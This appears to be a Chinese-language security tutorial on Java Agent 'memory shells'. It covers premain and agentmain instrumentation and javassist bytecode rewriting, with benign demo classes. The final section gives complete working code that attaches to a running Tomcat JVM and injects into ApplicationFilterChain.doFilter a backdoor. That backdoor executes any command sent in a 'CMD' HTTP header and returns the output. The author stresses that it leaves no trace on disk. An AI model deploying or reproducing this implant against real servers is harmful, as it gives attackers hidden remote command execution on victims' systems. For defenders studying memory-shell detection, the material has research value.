MemoryShell Of Agent

前言

Java Agent是Java虚拟机提供的一种机制,允许在程序运行时动态地修改或增强Java应用程序的行为,通常使用Java Instrumentation API实现,可以在Java应用程序启动时通过命令行参数或其他方式加载。

将Java Agent与内存马结合使用,可以实现一种比传统的内存马更难以检测和防御的攻击方式。攻击者可以编写一个Java Agent程序,利用Java Instrumentation API动态地修改Java应用程序的字节码,将恶意代码插入到应用程序中,并在应用程序运行时执行恶意代码。由于恶意代码直接在内存中执行,不会在磁盘上留下痕迹,因此很难被传统的防御机制检测和防御。

Java Agent

Java Agent简单来说就是JVM提供的一种动态Hook字节码的技术,通过Instrumentation(Java Agent API),开发者能够以一种无侵入的方式,在JVM加载某个class之前修改其字节码的内容,同时也支持重加载已经被加载过的class。

Java Agent目前有两种使用方式:

  • 通过-javaagent参数指定agent,从而在JVM启动之前修改class内容(自JDK 1.5开始)
  • 通过VirtualMachine#attach方法,将agent附加在启动后的JVM进程中,进而动态修改class内容(自JDK 1.6开始)

两种方式分别需要实现premain和agentmain方法,而这些方法又有如下四种签名,其中带有Instrumentation inst参数的方法优先级更高,会优先被调用。

1
2
3
4
public static void agentmain(String agentArgs, Instrumentation inst);
public static void agentmain(String agentArgs);
public static void premain(String agentArgs, Instrumentation inst);
public static void premain(String agentArgs);

启动时

基础概述

启动Java程序的时候,利用Java Agent需要添加-javaagent或-agentpath/-agentlib(JVMTI的实现方式)参数,Java规定Java Agent程序必须要打包成jar格式并且需要利用MANIFEST.MF文件来配置Java Agent相关参数。同时,jar包中的MANIFEST.MF文件必须指定Premain-Class项,Premain-Class指定的那个类必须实现premain方法。

1
2
3
4
5
6
Manifest-Version: 1.0
Agent-Class: com.example.AgentMemoryShell
Premain-Class: com.example.AgentMemoryShell
Can-Redefine-Classes: true
Can-Retransform-Classes: true

premain方法会在执行main方法前调用,在运行main方法前会去加载-javaagent指定的jar包里面的Premain-Class类中的premain方法。

工作原理:使用addTransformer方法注册了一个自定义的Transformer类到Java Agent,当有新类被JVM加载时,JVM会自动回调调用自定义Transformer类中的transform方法,传入该类的transform信息(类名、类加载器、类字节码等),并且可以根据传入的类信息决定是否需要修改类字节码,Java Agent修改完字节码后会将新的类字节码返回给JVM,JVM验证类和相应的修改是否合法,当符合类加载要求时,JVM会加载修改后的类字节码。

image.png

Instrumentation接口,提供用于监测运行在JVM中的Java API:

  • addTransformer/removeTransformer,添加或删除ClassFileTransformer
  • getAllLoadedClasses,获取所有JVM加载的类
  • redefineClasses,重新定义已经加载类的字节码
  • setNativeMethodPrefix,动态设置JNI前缀,可以实现Hook Native方法
  • retransformClasses,重新加载已经被JVM加载过的类的字节码

ClassFileTransformer接口是一个转换类文件的代理接口,可以在获取到Instrumentation对象后通过addTransformer方法添加自定义类文件转换器。

image.png

测试示例

  • 创建Test测试类
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import com.alibaba.fastjson.JSON;

public class Test {
public String output;

public Test(String output) {
this.output = output;
}

public String Print() {
return "Test Class, output is " + output;
}

public static void main(String[] args) {
Test test = new Test("H3rmesk1r");
System.out.println(JSON.toJSON(test));
System.out.println(test.Print());
}
}
  • 创建MySelfAgent类,重写premain方法
1
2
3
4
5
6
7
8
9
10
package javaagent;

import java.lang.instrument.Instrumentation;

public class MySelfAgent {
public static void premain(String agentArgs, Instrumentation inst) {
System.out.println("MySelfAgent start...");
inst.addTransformer(new MySelfTransformer());
}
}
  • 创建MySelfTransformer类,重写transform方法,利用javassist对Test类进行修改
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
package javaagent;

import javassist.*;

import java.io.ByteArrayInputStream;
import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;

public class MySelfTransformer implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) {
if (className.equals("Test")) {
try {
ClassPool classPool = ClassPool.getDefault();
classPool.appendClassPath(new LoaderClassPath(loader));
CtClass ctClass = classPool.makeClass(new ByteArrayInputStream(classfileBuffer), false);

// 增加一个String类型的属性input
CtField ctField = new CtField(classPool.get("java.lang.String"), "input", ctClass);
// 设置属性为private
ctField.setModifiers(Modifier.PRIVATE);
// 增加属性到类中, 并设置默认值
ctClass.addField(ctField, CtField.Initializer.constant("javaagent"));
// 增加GET/SET方法
ctClass.addMethod(CtNewMethod.setter("setInput", ctField));
ctClass.addMethod(CtNewMethod.getter("getInput", ctField));
// 重写Print方法
CtMethod toString = ctClass.getDeclaredMethod("Print");
toString.setBody("return \"Test Class, input is \" + input + \", output is \" + output;");

return ctClass.toBytecode();
} catch (Exception e) {
e.printStackTrace();
}
}

return null;
}
}
  • 配置MANIFEST.MF文件
1
2
3
4
5
Manifest-Version: 1.0
Premain-Class: javaagent.TestAgent
Can-Redefine-Classes: true
Can-Retransform-Classes: true

1
java -javaagent:/Users/alphag0/Desktop/Code/Java/AgentMemoryShell/out/artifacts/AgentMemoryShell_jar/AgentMemoryShell.jar -jar /Users/alphag0/Desktop/Code/Java/Test/out/artifacts/Test_jar/Test.jar

image.png

运行时

基础概述

JDK1.6后,增加了agentmain方法,可以在main方法后执行,此时便可以在程序运行时,利用Agent技术来达成一些目的,运行时Agent技术主要依靠VirtualMachine类和VirtualMachineDescriptor类。

VirtualMachine类:

  • attach,可以通过attach方法传入一个JVM的PID,远程连接到JVM上
  • loadAgent,向JVM注册一个代理程序Agent,在该Agent的代理程序中会得到一个Instrumentation实例,该实例可以在class加载前改变class的字节码,也可以在class加载后重新加载,在调用Instrumentation实例的方法时,这些方法会使用ClassFileTransformer接口中提供的方法进行处理
  • detach,解出attach建立的连接

VirtualMachineDescriptor类是用于描述Java虚拟机的容器类,它封装了一个标识目标虚拟机的标识符,以及一个AttachProvider在尝试连接到虚拟机时应该使用的引用。

VirtualMachineDescriptor实例通过调用VirtualMachine#list方法创建,返回描述所有已安装Java虚拟机的完整描述符列表attach providers。

工作原理:VirtualMachine类的attach方法,可以attach到一个运行中的java进程上,之后便可以通过loadAgent方法来将agent的jar包注入到对应的进程,注入后,对应进程会调用agentmain方法。

image.png

对于已加载的类,需要调用retransformClass函数,然后由redefineClasses函数读取已加载的字节码文件后重新加载指定类的字节码。

image.png

但是使用redefineClasses时存在一些限制:

  • 继承相同的父类
  • 实现相同的接口
  • 字段数和字段名要一致,不支持在重新加载时添加或者删除字段
  • 新增或删除的方法必须是private static/final修饰的
  • 可以修改方法实现

测试示例

  • 创建测试类Test
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import com.alibaba.fastjson.JSON;

public class Test {
public static String flag = "false";

public static boolean checkFlag(){
if (flag == "true") {
return true;
} else {
return false;
}
}

public static void main(String[] args) throws InterruptedException {
while (true) {
if (checkFlag()) {
System.out.println("running true...");
} else {
System.out.println("running false...");
}
Thread.sleep(1000);
}
}
}
  • 创建Agent类
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
package vm;

import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;
import javassist.*;

import java.io.ByteArrayInputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
import java.util.List;

public class AttachAgent {

public static void agentmain(String args, Instrumentation inst) {
System.out.println("agentmain...");
inst.addTransformer(new MyTransformer(), true);
Class[] allLoadedClasses = inst.getAllLoadedClasses();
for (Class loadedClass : allLoadedClasses) {
if (loadedClass.getName() == "Test") {
try {
inst.retransformClasses(loadedClass);
} catch (Exception e) {
e.printStackTrace();
}
}
}
}

public static void main(String[] args) throws Exception {
System.out.println("running JVM...");
List<VirtualMachineDescriptor> virtualMachineDescriptorList = VirtualMachine.list();
for (VirtualMachineDescriptor vmd : virtualMachineDescriptorList) {
System.out.println(vmd.displayName());
if (vmd.displayName().equals("Test")) {
VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
virtualMachine.loadAgent("/Users/alphag0/Desktop/Code/Java/AgentMemoryShell/out/artifacts/AgentMemoryShell_jar/AgentMemoryShell.jar");
virtualMachine.detach();
}
}
}
}

class MyTransformer implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) {
if (className.equals("Test")) {
try {
ClassPool classPool = ClassPool.getDefault();
classPool.appendClassPath(new LoaderClassPath(loader));
CtClass ctClass = classPool.makeClass(new ByteArrayInputStream(classfileBuffer), false);

// 由于要保持字段数不变, 无法增加新字段, 重写checkFlag方法
CtMethod checkFlag = ctClass.getDeclaredMethod("checkFlag");
checkFlag.setBody("{System.out.println(\"Attach successfully...\");return true;}");

return ctClass.toBytecode();
} catch (Exception e) {
e.printStackTrace();
}
}

return null;
}
}
  • 配置MANIFEST.MF文件
1
2
3
4
5
Manifest-Version: 1.0
Agent-Class: vm.AttachAgent
Can-Retransform-Classes: true
Can-Redefine-Classes: true

image.png

Java Agent内存马

根据Java Agent的实现原理,Agent内存马实现的思路就是找一个比较通用的类,保证每一次request请求都能调用到它的某一个方法, 然后利用javaassist插入恶意Java代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
package tomcat;

import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
import java.util.List;

public class TomcatAgent {

public static void agentmain(String args, Instrumentation inst) {
System.out.println("Agentmain...");
inst.addTransformer(new TomcatTransformer(), true);
Class[] allLoadedClasses = inst.getAllLoadedClasses();
for (Class loadedClass : allLoadedClasses) {
if (loadedClass.getName().equals("org.apache.catalina.core.ApplicationFilterChain")) {
try {
inst.retransformClasses(loadedClass);
} catch (Exception e) {
e.printStackTrace();
}
}
}
}

public static void main(String[] args) throws Exception {
System.out.println("Running JVM...");
List<VirtualMachineDescriptor> virtualMachineDescriptorList = VirtualMachine.list();
for (VirtualMachineDescriptor vmd : virtualMachineDescriptorList) {
System.out.println(vmd.displayName());

if (vmd.displayName().contains("org.apache.catalina.startup.Bootstrap")) {
VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
virtualMachine.loadAgent("/Users/alphag0/Desktop/Code/Java/AgentMemoryShell/out/artifacts/AgentMemoryShell_jar/AgentMemoryShell.jar");
virtualMachine.detach();
System.out.println("Attach successfully...");
}
}
}

}

class TomcatTransformer implements ClassFileTransformer {

@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) {
try {
ClassPool classPool = ClassPool.getDefault();
if (classBeingRedefined != null) {
ClassClassPath classClassPath = new ClassClassPath(classBeingRedefined);
classPool.insertClassPath(classClassPath);
}

CtClass ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain");
CtMethod method = ctClass.getDeclaredMethod("doFilter");
method.insertBefore("javax.servlet.http.HttpServletRequest httpServletRequest = (javax.servlet.http.HttpServletRequest) request;\n" +
"String cmd = httpServletRequest.getHeader(\"CMD\");\n" +
"if (cmd != null){\n" +
" Process process = Runtime.getRuntime().exec(cmd);\n" +
" java.io.InputStream input = process.getInputStream();\n" +
" java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(input));\n" +
" StringBuilder sb = new StringBuilder();\n" +
" String line = null;\n" +
" while ((line = br.readLine()) != null){\n" +
" sb.append(line + \"\\n\");\n" +
" }\n" +
" br.close();\n" +
" input.close();\n" +
" response.getOutputStream().print(sb.toString());\n" +
" response.getOutputStream().flush();\n" +
" response.getOutputStream().close();\n" +
"}");

return ctClass.toBytecode();
} catch (Exception e) {
e.printStackTrace();
}
return classfileBuffer;
}
}

image.png